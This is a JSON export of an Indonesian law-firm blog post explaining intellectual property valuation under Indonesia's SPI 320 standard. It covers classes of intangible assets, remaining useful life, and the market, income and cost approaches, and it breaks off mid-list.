{"id":4696,"date":"2024-01-21T07:02:21","date_gmt":"2024-01-21T07:02:21","guid":{"rendered":"https:\/\/affa.co.id\/?p=4696"},"modified":"2024-01-21T07:02:21","modified_gmt":"2024-01-21T07:02:21","slug":"praktek-valuasi-kekayaan-intelektual-di-indonesia","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2024\/01\/21\/praktek-valuasi-kekayaan-intelektual-di-indonesia\/","title":{"rendered":"Praktek Valuasi Kekayaan Intelektual di Indonesia"},"content":{"rendered":"<h4><b>Praktek Valuasi Kekayaan Intelektual di Indonesia<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Mengukur nilai Kekayaan Intelektual (KI) sebagai upaya perlindungan terhadap karya intelektual bukanlah perkara yang mudah. Seringkali perhitungan yang dilakukan belum sepenuhnya mencerminkan potensi\u00a0 sebernarnya dari aset intelektual tersebut. Misalnya apakah besaran royalti yang diterima merupakan faktor penilaian yang mutlak? Apakah faktor originalitas <\/span><i><span style=\"font-weight: 500\">(originality) <\/span><\/i><span style=\"font-weight: 500\">lebih berharga dari kebaruan<\/span><i><span style=\"font-weight: 500\"> (novelty)<\/span><\/i><span style=\"font-weight: 500\">? Atau apakah semakin mendekati berakhirnya masa perlindungan, KI tersebut akan semakin kecil nilainya?<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Mengingat valuasi ini juga penting dalam pemberian kredit, dimana Pemerintah tengah menggalakkan pemberian kredit perbankan untuk para pemilik Kekayaan Intelektual untuk menggerakkan ekonomi nasional, pada Desember 2023 Badan Riset dan Inovasi Nasional (BRIN) sebagai lembaga riset yang banyak bersinggungan dengan KI telah menggelar &#8220;Kick Off Peran Valuator Kekayaan Intelektual dalam Pemanfaatan Hasil Riset dan Inovasi.&#8221; Kegiatan ini diselenggarakan atas kerja sama BRIN dengan Kementerian Hukum dan Hak Asasi Manusia dan <\/span><b><i>World Intellectual Property Organization<\/i><\/b><b> (WIPO)<\/b><span style=\"font-weight: 500\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Manfaat Valuasi Kekayaan Intelektual<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Valuasi KI sangat berguna jika Anda melakukan aktivitas berikut ini:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Merger dan Akuisisi<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Penjualan dan\/atau Pembelian<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Litigasi\/Mencari Pihak yang Merugikan dalam Penyelesaian<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Membuat Laporan Keuangan<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Alokasi Harga Pembelian<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Mencari Pendanaan\/Pembiayaan dengan KI sebagai jaminan fidusia<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Lisensi &amp; Identifikasi Nilai Portofolio Kekayaan Intelektual<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Waralaba (Biaya\/Royalti Waralaba Awal)<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<h4><b>SPI 320 &#8211; Landasan Penilaian Aset Takberwujud<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Pada <\/span><span style=\"font-weight: 500\">artikel sebelumnya<\/span><span style=\"font-weight: 500\"> kami telah menjabarkan bagaimana <\/span><b>Lembaga Manajemen Kolektif Nasional (LKMN) <\/b><span style=\"font-weight: 500\">dapat berperan aktif dalam membantu penilaian dan perantara, jika terjadi gagal bayar untuk kredit yang berbasis <\/span><b>Hak Cipta<\/b><span style=\"font-weight: 500\">. Namun sebenarnya untuk Hak Ciptan dan KI lainnya yang sifatnya sebagai benda bergerak tak berwujud yang memiliki nilai ekonomi <\/span><i><span style=\"font-weight: 500\">(identifiable intangible asset)<\/span><\/i><span style=\"font-weight: 500\">, Indonesia telah memiliki <\/span><b>Standar Penilaian Indonesia (SPI) <\/b><span style=\"font-weight: 500\">yang wajib dijadikan acuan bagi semua <\/span><b>Penilai<\/b><span style=\"font-weight: 500\"> yang melakukan kegiatan penilaian di Indonesia. Sifat wajib ini diatur dalam <\/span><b>Kode Etik Penilai Indonesia (KEPI)<\/b><span style=\"font-weight: 500\">. SPI ditetapkan oleh <\/span><b>Organisasi Profesi Penilai Indonesia <\/b><span style=\"font-weight: 500\">yang lebih dikenal sebagai <\/span><b>Masyarakat Profesi Penilai Indonesia (MAPPI)<\/b><span style=\"font-weight: 500\"> dan dibuat berdasarkan <\/span><b>International Valuation Standards (IVS) <\/b><span style=\"font-weight: 500\">versi 2013 yang dikeluarkan oleh <\/span><b>IVS Council <\/b><span style=\"font-weight: 500\">yang bermarkas di London, Inggris.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Klasifikasi Aset Takberwujud Berdasarkan SPI 320<\/b><\/h4>\n<p><b>1. Aset Takberwujud Terkait Pemasaran<\/b><b><i> (Marketing Related Intangible Assets)<\/i><\/b><\/p>\n<p><span style=\"font-weight: 500\">Aset Takberwujud yang terkait dengan pemasaran terutama digunakanpada pemasaran atau promosi produk ataupun jasa. Contohnya meliputi <\/span><b>Merek<\/b><span style=\"font-weight: 500\">, <\/span><b>Desain Industri<\/b><span style=\"font-weight: 500\">, dan <\/span><b>Nama Domain<\/b><span style=\"font-weight: 500\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>2. Aset Takberwujud Terkait Pelanggan <\/b><b><i>(Customer Related Intangible Assets)<\/i><\/b><\/p>\n<p><span style=\"font-weight: 500\">Aset Takberwujud yang terkait dengan pelanggan atau pemasok yang muncul dari hubungan ataupun pengetahuan tentang pelanggan atau pun pemasok. Contohnya meliputi perjanjian jasa atau pemasok, perjanjian lisensi atau royalti, serta <\/span><b>Rahasia Dagang<\/b><span style=\"font-weight: 500\"> yang mencakup daftar pesanan, perjanjian tenaga kerja, hingga hubungan pelanggan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>3. Aset Takberwujud Terkait Seni<\/b><b><i> (Artistic Related Intangible Assets)<\/i><\/b><\/p>\n<p><span style=\"font-weight: 500\">Aset Takberwujud yang terkait dengan seni muncul dari hak untuk mendapatkan keuntungan seperti royalti dari pekerjaan seni seperti drama, buku, film, dan musik, serta muncul juga dari perlindungan Hak Cipta yang tidak bersifat kontraktual.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>4. Aset Takberwujud Terkait Kontrak Perusahaan <\/b><b><i>(Contract Related intangible Assets)<\/i><\/b><\/p>\n<p><span style=\"font-weight: 500\">Aset Takberwujud yang timbul dari perjanjian kontraktual, yang mengandung hak dan kewajiban hukum. Aset ini biasanya berasal dari kontrak perjanjian lisensi, perjanjian waralaba, atau kontrak pelanggan, yang memiliki nilai besar bagi suatu bisnis. Contohnya termasuk perjanjian lisensi untuk produk perangkat lunak yang banyak digunakan, perjanjian waralaba yang memberikan hak eksklusif, atau kontrak pelanggan yang menjamin aliran pendapatan berkelanjutan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>5. Aset Takberwujud Terkait Teknologi<\/b><b><i> (Technology Related Intangible Assets)<\/i><\/b><\/p>\n<p><span style=\"font-weight: 500\">Aset Takberwujud yang terkait dengan teknologi yang muncul dari hak kontraktual ataupun non-kontraktual untuk menggunakan teknologi yang di-Paten-kan, teknologi yang belum dipatenkan, formula, Hak Cipta yang mencakup aplikasi dan desain, serta Rahasia Dagang yang berupa resep.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>6. Aset Takberwujud yang Berasal dari Proses Penelitian dan Pengembangan<\/b><b><i> (In Process Research and Development\/IPR&amp;D Intangible Assets)<\/i><\/b><\/p>\n<p><span style=\"font-weight: 500\">Proyek penelitian dan pengembangan (litbang) yang sedang berlangsung yang belum mencapai penyelesaian atau komersialisasi. Aset-aset ini berharga bagi perusahaan yang mengantisipasi inovasi dan kemajuan teknologi di masa depan. Aset litbang Kekayaan Intelektual ini dapat mencakup produk, prototipe, atau proyek yang belum dirilis dalam berbagai tahap pengembangan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Faktor-Faktor yang Dipertimbangkan oleh Penilai:<\/b><\/p>\n<p><b>1. Hak-hak, keistimewaan, atau kondisi yang melekat pada Hak Kepemilikan.<\/b><\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Hak kepemilikan dapat dinyatakan dalam berbagai dokumenlegal. Di dalam yurisdiksi hukum, dokumen ini biasa disebut Paten, Merek, cap, pengetahuan, basis data, Hak Cipta,\u00a0 dan lain sebagainya.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Pemilik hak terikat oleh dokumen yang mencatat hak-haknya atas Aset Takberwujud. Hak-hak dan kondisi-kondisi terdapat dalam perjanjian atau pertukaran korespondensi, dan hak-hak tersebut dapat atau tidak dapat dipindahkan kepadapemilik hak yang baru.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>2. Sisa umur ekonomis dan\/atau umur hukum (masa berlaku) Aset Takberwujud.<\/b><\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Dalam hal digunakan Pendekatan Pendapatan untuk Aset Takberwujud, maka periode Informasi Keuangan Prospektif harus sama dengan Sisa Masa Manfaat Aset Takberwujud yang menjadi obyek penilaian.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Dalam hal digunakan Pendekatan Pasar, maka periode obyek pembanding adalah sebanding dan sejenis dengan Sisa Masa Manfaat Aset Takberwujud yang menjadi obyek penilaian.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Dalam hal digunakan Pendekatan biaya, maka Sisa Masa Manfaat digunakan untuk menghitung keusangan dari Aset Takberwujud yang menjadi obyek penilaian.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Faktor-faktor yang digunakan dalam mengukur Sisa Masa Manfaat dari Aset Takberwujud berdasarkan antara lain:<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><b>a. Umur Hukum <\/b><b><i>(Legal Life)<\/i><\/b><b>;<\/b><\/p>\n<p><span style=\"font-weight: 500\">Berasal dari umur Paten, Merek, atau Hak Cipta, yang memberikan perlindungan hukum dari kompetisi.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>b. Umur Kontrak<\/b><b><i> (Contractual Life)<\/i><\/b><b>;<\/b><\/p>\n<p><span style=\"font-weight: 500\">Berasal dari umur perjanjian dengan pelanggan, perjanjian<\/span><i><span style=\"font-weight: 500\"> franchise<\/span><\/i><span style=\"font-weight: 500\">, perjanjian sewa menyewa, atau perjanjian lainnya antara pemberi tugas dengan pihak ketiga.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>c. Kondisi Fisik <\/b><b><i>(Physical Determinants)<\/i><\/b><b>;<\/b><\/p>\n<p><span style=\"font-weight: 500\">Sisa Masa Manfaat Aset Takberwujud dihitung berdasarkan kondisi fisik aset berwujud yang merupakan bagian yang tidak terpisahkan dari Aset Takberwujud.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>d. Umur Ekonomis<\/b><b><i> (Economic Life)<\/i><\/b><b>;<\/b><\/p>\n<p><span style=\"font-weight: 500\">Umur Ekonomis dapat diperoleh melalui:<\/span><\/p>\n<p style=\"padding-left: 40px\"><b>1. Metode Multiperiod Excess Earnings Method (MEEM);<\/b><b><br \/>\n<\/b><span style=\"font-weight: 500\">Dalam metode ini, Penilai harus terlebih dahulu untuk menghitung faktor keusangan (decay factor). Faktor keusangan dapat diperoleh dengan menggunakan eksponensial total umur dibagi negatif Sisa Masa Manfaat.<\/span><\/p>\n<p style=\"padding-left: 40px\"><b>2. Metode Konvensi.<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Dalam metode ini, Penilai harus mengungkapkan dasar pertimbangan untuk menghasilkan nilai konvensi antara lain berupa data historis dan data industri.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>e. Keusangan Fungsi atau Teknologi <\/b><b><i>(Functional or Technological Obsolescence)<\/i><\/b><b>;<\/b><\/p>\n<p><span style=\"font-weight: 500\">Menggunakan analisis siklus hidup (life cycle analysis) dengan mempertimbangkan perkembangan teknologi dan permintaan pasar secara historis dan dimasa yang akan datang.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>f. Analisis Khusus<\/b><b><i> (Analitical)<\/i><\/b><b>.<\/b><\/p>\n<p><span style=\"font-weight: 500\">Penilai dapat menggunakan analisis kuantitatif untuk menghitung Sisa Masa Manfaat Aset Takberwujud berdasarkan studi atas pola kemunduran historis yang terkait dengan Aset Takberwujud sebanding dengan didasarkan atas data-data sebagai berikut:<\/span><\/p>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Jumlah unit tersedia pada setiap awal periode;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Jumlah unit yang dihentikan (retirement) untuk setiap periode, dan<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Umur dari Aset Takberwujud yang masa berakhirnya (retire) diketahui.<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<h4><b>3 Pendekatan Penilaian Aset Takberwujud<\/b><\/h4>\n<p><b>1. Pendekatan Pasar (Market Approach)<\/b><\/p>\n<p><span style=\"font-weight: 500\">Dengan Pendekatan Pasar, nilai dari Aset Takberwujud ditentukan dengan mengacu kepada aktiitas pasar. Misalnya transaksi penawaran yang melibatkan aset yang identik atau sejenis. Sifat heterogen dari Aset Takberwujud menunjukkan bahwa sulit untuk\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 500\">menemukan data pasar dari transaksi yang melibatkan aset-aset yang identik.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Jika ada, hal ini biasanya berkaitan dengan aset yang serupa, tetapi tidak identik. Sebagai sebuah alternatif, atau sebagai tambahan, perbandingan harga dalam transaksi-transaksi yang relevan yang melibatkan aset yang identik atau serupa melalui analisis transaksi penjualan mungkin dapat menyediakan data pembanding dalam penilaian. Misalnya dimungkinkan untuk menentukan rasio harga terhadap laba atau tingkat balikan untuk kelompok Aset Takberwujud yang sejenis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Ketika data harga atau <\/span><i><span style=\"font-weight: 500\">multiple<\/span><\/i><span style=\"font-weight: 500\"> penilaian tersedia, seringkali diperlukan penyesuaian sehingga merefleksikan perbedaan antara subjek aset yang dinilai dengan data pasar dari suatu transaksi. Penyesuaian ini diperlukan untuk merefleksikan perbedaan karakteristik dari subjek Aset Takberwujud dan aset-aset yang terlibat dalam suatu transaksi. Penyesuaian tersebut mungkin hanya dapat ditentukan secara kualitatif dan tidak secara kuantitatif. Hal-hal yang dapat menyebabkan diperlukannya penyesuaian kualitatif termasuk contoh berikut ini:<\/span><\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Merek yang dinilai dapat dianggap memiliki posisi yang lebih dominan di pasar dibandingkan dengan merek yang merupakan data transaksi pembanding.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Sebuah Paten obat yang dinilai mungkin memiliki khasiat yang lebih besar dan efek samping yang lebih sedikit dibandingkan dengan data transaksi pembanding.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>2. Pendekatan Pendapatan (Income Approach)<\/b><\/p>\n<p><span style=\"font-weight: 500\">Dalam hal Penilai menggunakan Pendekatan Pendapatan maka berlaku ketentuan sebagai berikut:<\/span><\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Pendekatan Pendapatan digunakan untuk menentukan nilai Aset Takberwujud, dengan cara mendiskonto dan\/atau mengkapitalisasikan pendapatan, arus kas, atau penghematan biaya baik secara aktual atau hipotetis yang akan dihasilkan oleh Aset Takberwujud yang menjadi obyek penilaian dengan menggunakan tingkat diskonto dan\/atau kapitalisasi tertentu.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Penilai harus menggunakan Informasi Keuangan Prospektif dari pihak manajemen dalam Pendekatan Pendapatan.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Harus melakukan penyesuaian atas Informasi Keuangan Prospektif yang diperoleh dari pihak manajemen<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Proyeksi keuangan atas Aset Takberwujud yang menjadi obyek penilaian dapat disusun oleh Penilai setelah terlebih dahulu memperoleh persetujuan dari pihak manajemen.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Informasi Keuangan Prospektif digunakan untuk mengestimasi aliran pendapatan ekonomis Aset Takberwujud yang menjadi obyek penilaian.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Tingkat diskonto dan tingkat kapitalisasi yang ditetapkan oleh Penilai harus diungkapkannya dalam laporan.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Dalam Informasi Keuangan Prospektif, Penilai harus:<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 500\">a. Menganalisis laporan keuangan historis pemilik Aset Takberwujud;<\/span><\/p>\n<p><span style=\"font-weight: 500\">b. Memperhatikan kondisi yang terjadi setelah Tanggal Penilaian yang dapat mempengaruhi Informasi Keuangan Prospektif; dan<\/span><\/p>\n<p><span style=\"font-weight: 500\">c. Mempertimbangkan pertumbuhan prospektif Aset Takberwujud yang menjadi obyek penilaian;<\/span><\/p>\n<p><span style=\"font-weight: 500\">d. Periode Informasi Keuangan Prospektif harus dilakukan dalam kurun waktu paling kurang 5 (lima) tahun kedepan, atau disesuaikan dengan Sisa Masa Manfaat dari Aset Takberwujud yang menjadi obyek penilaian.<\/span><\/p>\n<p><span style=\"font-weight: 500\">e. Jika Sisa Masa Manfaat dari Aset Takberwujud yang menjadi obyek penilaian tidak dapat ditentukan<\/span><i><span style=\"font-weight: 500\"> (indefinite)<\/span><\/i><span style=\"font-weight: 500\">, maka harus meliputi periode tertentu <\/span><i><span style=\"font-weight: 500\">(definite)<\/span><\/i><span style=\"font-weight: 500\"> ditambah kapitalisasi Informasi Keuangan Prospektif pada periode setelah tahun ke 5 (lima) dan seterusnya. Kapitalisasi dilakukan dengan menggunakan tingkat diskonto Aset Takberwujud ditambah dengan persentase<\/span><i><span style=\"font-weight: 500\"> retirement ratio<\/span><\/i><span style=\"font-weight: 500\">.<\/span><\/p>\n<p><span style=\"font-weight: 500\">f. Penilai harus mengungkapkan alasan penetapan Sisa Masa Manfaat yang tidak dapat ditentukan <\/span><i><span style=\"font-weight: 500\">(indefinite)<\/span><\/i><span style=\"font-weight: 500\"> yang didasarkan atas bukti pasar dalam laporan penilaian.<\/span><\/p>\n<p><span style=\"font-weight: 500\">g. Penilai dilarang mendasarkan Informasi Keuangan Prospektif hanya dengan menggunakan tren data historis, namun perlu mempertimbangkan faktor-faktor lain sebagai berikut:<\/span><\/p>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Rasio Keuangan;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Marjin Keuntungan;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Pajak;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Modal Kerja dan Belanja Modal;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Periode Informasi Keuangan Prospektif wajar yang disesuaikan dengan umur obyek penilaian; dan<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Tingkat pertumbuhan prospektif yang mencerminkan Sisa Masa Manfaat dan keadaan pasar.<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p><span style=\"font-weight: 500\">h. Metode yang dapat digunakan dalam Pendekatan Pendapatan adalah sebagai berikut:<\/span><\/p>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Metode Penghematan Royalti (Relief-From-Royalty Method\/Royalty Savings Method);<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Metode Laba Premi (Premium Profits Method\/Incremental Income Method);<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Metode Pendapatan Berlebih (Excess Earnings Method)<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p><span style=\"font-weight: 500\">i. Penilai harus menggunakan tingkat diskonto denganmemenuhi hal-hal sebagai berikut:<\/span><\/p>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Tingkat diskonto yang diterapkan harus sesuai dengan tingkat risiko atas ketidakpastian pendapatan dari Aset Takberwujud obyek penilaian;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Penetapan besaran risiko terhadap Aset Takberwujud ditetapkan berdasarkan pertimbangan profesional Penilai dan harus diungkapkan dalam laporan.<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b>3. Pendekatan Biaya (Cost Approach)<\/b><\/p>\n<p><span style=\"font-weight: 500\">Dalam hal Penilai menggunakan Pendekatan Biaya, maka berlaku ketentuan sebagai berikut:<\/span><\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Penilai dilarang menggunakan Pendekatan Biaya untuk:<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Menilai Aset Takberwujud yang potensi layanannya tidak setara dengan harga perolehan, seperti biaya pengembangan Merek atau judul penerbitan yang sulit untuk ditentukan.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Menilai proyek pengembangan Aset Takberwujud yang berlangsung bertahun-tahun dan tidak memberikan kontribusi positif pada pendapatan perusahaan.<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Contoh-contoh dari Aset Takberwujud yang mungkin menggunakan Pendekatan Biaya termasuk hal berikut:<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Perangkat lunak yang dikembangkan sendiri, dimana harga dari perangkat lunak dengan kapasitas layanan yang sama atau serupa kadangkala dapat diperoleh di pasar;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Halaman web, dimungkinkan untuk memperkirakan biaya pembangunan situs web;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Tenaga kerja terlatih melalui penentuan biaya untuk pengembangan (perekrutan dan pelatihan) dari tenaga kerja.<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Pendekatan Biaya hanya dapat digunakan dalam hal memenuhi persyaratan paling kurang sebagai berikut:<\/span><\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Aset Takberwujud tidak memiliki pendapatan yang dapat diidentifikasi atau tidak secara langsung menghasilkan arus kas;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Data pasar pembanding Aset Takberwujud yang layak tidak tersedia; dan<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Transaksi terakhir untuk Aset Takberwujud yang setara dan sejenis tidak cukup memadai untuk mendukung pendekatan pasar.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 500\">Prosedur yang harus dilakukan dalam penilaian Aset Takberwujud dengan menggunakan Pendekatan Biaya adalah:<\/span><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">a. Menentukan estimasi biaya yang akan digunakan, yaitu:<\/span><\/p>\n<p style=\"padding-left: 40px\"><b>1. Biaya Reproduksi Baru (New Reproduction Cost)<\/b><b><br \/>\n<\/b><span style=\"font-weight: 500\">Dengan syarat harus memenuhi kriteria sebagai berikut:<\/span><\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Merupakan estimasi biaya untuk membangun, dengan harga pada Tanggal Penilaian, duplikat atau replika yang serupa dengan Aset Takberwujud yang menjadi obyek penilaian;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Menggunakan bahan baku, standar produksi, desain, layout, dan kualitas tenaga kerja yang sama dengan Aset Takberwujud yang menjadi obyek penilaian; dan\u00a0<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Termasuk semua kekurangan, kelebihan, dan keusangan yang dapat dikembalikan fungsinya.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p style=\"padding-left: 40px\"><b>2. Biaya Pengganti Baru (New Replacement Cost)<\/b><span style=\"font-weight: 500\"><br \/>\n<\/span><span style=\"font-weight: 500\">Dengan syarat harus memenuhi kriteria sebagai berikut:<\/span><\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Merupakan estimasi biaya untuk membangun, dengan harga pada Tanggal Penilaian, Aset Takberwujud dengan utilitas yang ekuivalen dengan Aset Takberwujud yang menjadi obyek penilaian;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Menggunakan bahan baku, standar produksi, desain, layout, kualitas tenaga kerja yang modern;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Tidak termasuk semua kekurangan, kelebihan, dan keusangan yang dapat dikembalikan fungsinya.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 500\">Penentuan Biaya Reproduksi Baru dan Biaya Pengganti Baru harus memperhatikan hal-hal sebagai berikut:<\/span><\/p>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Biaya pengembangan atau pembelian Aset Takberwujud yang serupa (replika) yang memiliki produktiitas dan potensi jasa yang sama;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Biaya pengembangan atau pembelian Aset Takberwujud yang sejenis yang memiliki produktiitas dan potensi jasa yang sama atau sejenis;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Kemungkinan pengurangan pajak atas biaya tertentu yang digunakan untuk mengganti Aset Takberwujud;<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Dalam hal biaya pengembangan atau pembelian Aset Takberwujud merupakan yang sejenis tapi tidak persis sama, Penilai harus melakukan penyesuaian antara lain amortisasi agar biaya tersebut mencerminkan karakteristik dari Aset Takberwujud yang menjadi obyek penilaian; dan<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Penilai harus menguraikan penyesuaian atas amortisasi dalam laporan penilaian.<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">a. Menghitung besarnya estimasi biaya yang telah ditentukan dari Aset Takberwujud;<\/span><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">b. Menghitung jumlah keusangan dari Aset Takberwujud yang disesuaikan dengan Sisa Masa Manfaat;<\/span><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">c. Mengurangkan besarnya estimasi biaya dengan jumlah keusangan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Bentuk keusangan yang dapat dimasukkan dalam Pendekatan Biaya Aset Takberwujud adalah:<\/span><\/p>\n<p style=\"padding-left: 40px\"><b>a. Keusangan Fungsional<\/b><span style=\"font-weight: 500\"><br \/>\n<\/span><span style=\"font-weight: 500\">Keusangan Fungsional disebabkan oleh faktor-faktor internal Aset Takberwujud, antara lain:<\/span><\/p>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Perubahan regulasi atau peraturan perundangundangan yang berlaku;<\/span><\/li>\n<li style=\"font-weight: 500\"><span 